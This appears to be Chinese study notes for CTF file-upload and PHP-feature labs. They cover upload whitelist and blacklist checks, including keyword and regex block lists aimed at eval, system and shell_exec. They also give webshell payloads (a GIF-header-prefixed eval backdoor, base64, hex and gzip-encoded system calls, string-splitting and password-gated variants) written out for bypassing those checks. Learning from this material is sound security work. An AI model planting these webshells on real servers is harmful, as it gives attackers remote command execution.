上传靶场:
一、文件上传三种白名单验证
1 .扩展名白名单
// 只允许特定的安全扩展名
$allowed_ext = ['.jpg', '.png', '.gif', '.pdf', '.doc'];
$ext = strtolower(strrchr($filename, '.'));
if(!in_array($ext, $allowed_ext)) {
die("文件类型不允许");
}
特点:最安全的验证方式,只允许已知安全的扩展名。
2. MIME类型白名单
// 只允许特定的Content-Type
$allowed_mime = [
'image/jpeg',
'image/png',
'image/gif',
'application/pdf'
];
$file_mime = $_FILES['file']['type'];
if(!in_array($file_mime, $allowed_mime)) {
die("文件MIME类型不允许");
}
特点:基于HTTP头的Content-Type验证,但容易被伪造。
3. 文件内容头白名单
// 检查文件魔术字节(文件头)
$allowed_magic = [
"\xFF\xD8\xFF", // JPEG
"\x89PNG\r\n\x1A\n", // PNG
"GIF89a", // GIF
"%PDF" // PDF
];
$file_header = file_get_contents($tmp_file, false, null, 0, 8);
$valid = false;
foreach($allowed_magic as $magic) {
if(strpos($file_header, $magic) === 0) {
$valid = true;
break;
}
}
if(!$valid) die("文件内容类型不允许");
特点:最可靠的验证方式,检查文件的实际内容特征。
二、文件上传三种黑名单验证
1. 扩展名黑名单
php
// 禁止危险扩展名
$deny_ext = ['.php', '.php5', '.php4', '.php3', '.phtml', '.phar',
'.asp', '.aspx', '.jsp', '.jspx', '.pl', '.py', '.sh'];
$ext = strtolower(strrchr($filename, '.'));
if(in_array($ext, $deny_ext)) {
die("危险文件类型禁止上传");
}
特点:不安全,容易被未列出的扩展名绕过(如.php6、.php7等)。
2. 危险关键词黑名单
php
// 禁止文件名包含危险关键词
$dangerous_keywords = ['shell', 'webshell', 'backdoor', 'cmd', 'exec',
'eval', 'system', 'passthru', 'phpinfo'];
$filename_lower = strtolower($filename);
foreach($dangerous_keywords as $keyword) {
if(strpos($filename_lower, $keyword) !== false) {
die("文件名包含危险关键词");
}
}
特点:容易被大小写、编码、拆分等方式绕过。
3. 文件内容黑名单
php
// 扫描文件内容是否包含危险代码
$dangerous_patterns = [
'/<\?php/i',
'/eval\s*\(/i',
'/system\s*\(/i',
'/shell_exec\s*\(/i',
'/passthru\s*\(/i',
'/proc_open\s*\(/i',
'/popen\s*\(/i'
];
$file_content = file_get_contents($tmp_file);
foreach($dangerous_patterns as $pattern) {
if(preg_match($pattern, $file_content)) {
die("文件内容包含危险代码");
}
}
特点:可能被编码、混淆、分块等方式绕过。
三、三种针对文件内容的修改绕过技术
1. 添加合法文件头绕过
php
// 在Webshell前添加图片头 GIF89a; // 或 JPEG、PNG头 <?php @eval($_POST['cmd']); ?>
原理:让文件同时具有合法图片特征和恶意代码。
2. 编码混淆绕过
php
<?php
// Base64编码绕过
eval(base64_decode('c3lzdGVtKCRfR0VUWydjbWQnXSk7'));
// 等同于:system($_GET['cmd']);
// 十六进制编码
eval(pack('H*','73797374656d28245f4745545b27636d64275d293b'));
// 多级编码
eval(gzuncompress(base64_decode('eJxLzClJLVKwVQAAOQAF')));
?>
原理:将恶意代码编码,避免直接匹配关键词。
3. 字符串拆分与拼接绕过
php
<?php
// 敏感函数拆分
$a = 'sys'.'tem';
$b = 'who'.'ami';
$a($b);
// 使用变量函数
$func = 'ph'.'pinfo';
$func();
// 数组方式
$arr = array('s','y','s','t','e','m');
$func = implode('', $arr);
$func('id');
// 通过常量定义
define('CMD', 's'.'y'.'s'.'t'.'e'.'m');
CMD('whoami');
?>
原理:将敏感字符串拆分成无害部分,运行时再组合。
四、补充:高级绕过技术
1. 条件执行绕过
php
<?php
// 只在特定条件下执行
if(isset($_GET['key']) && $_GET['key'] == 'secret123') {
@eval($_POST['cmd']);
} else {
echo "正常图片内容";
}
?>
2. 注释符混淆
php
<?php // 利用注释干扰检测 /*<?php */eval/*注释*/($_POST/*注释*/['cmd'])/*注释*/;//*/ ?> ?>
3. 多语言标签混淆
php
<?php
// 使用短标签
<?=system($_GET['cmd'])?>
// ASP风格标签(如果服务器支持)
<% eval request("cmd") %>
// Script标签
<script language="php">system($_GET['cmd']);</script>
?>
特性靶场:
一、GET和POST传参方式区别
-
GET:参数通过URL传递,格式为
?key1=value1&key2=value2 -
POST:参数通过请求体传递,不在URL中显示
抓包对比
GET请求示例:
GET /target.php?v1=1&v2=var_dump&v3=%29%3B%20var_dump%28%24ctfshow%29%3B%20%2F%2F%20%3A HTTP/1.1 Host: example.com User-Agent: ...
如web89

POST请求示例:
POST /target.php HTTP/1.1 Host: example.com Content-Type: application/x-www-form-urlencoded Content-Length: 15 v1=1&v2=var_dump
如web97

二、正则匹配(preg_match)
基本语法
php
preg_match(pattern, subject)
在题目中的应用
1. 检查是否包含冒号
php
preg_match("/\:/", $v2)
-
模式:
/\:/ -
含义:匹配冒号字符
: -
作用:检查
$v2中是否包含冒号
2. 检查是否不包含冒号
php
!preg_match("/\:/", $v2)
-
取反,检查
$v2中是否不包含冒号
3. 常用正则模式
-
/[0-9]/- 匹配数字 -
/[a-z]/i- 匹配字母(不区分大小写) -
/\./- 匹配点号 -
/\;/- 匹配分号
正则转义说明
-
\:中的反斜杠是转义字符 -
因为
:在正则中有特殊含义(如?:非捕获组) -
但单独
:不需要转义,写/:也可以
三、高亮函数(highlight_file)
基本功能
php
highlight_file(__FILE__);
或
php
show_source(__FILE__); // 别名
作用
-
语法高亮:将PHP代码以HTML格式输出
-
颜色标记:
-
关键字(如
if,echo):通常为蓝色 -
字符串:通常为红色
-
注释:通常为绿色
-
变量:通常为黑色
-
-
便于阅读:帮助开发者/攻击者理解代码结构
5114

被折叠的 条评论
为什么被折叠?



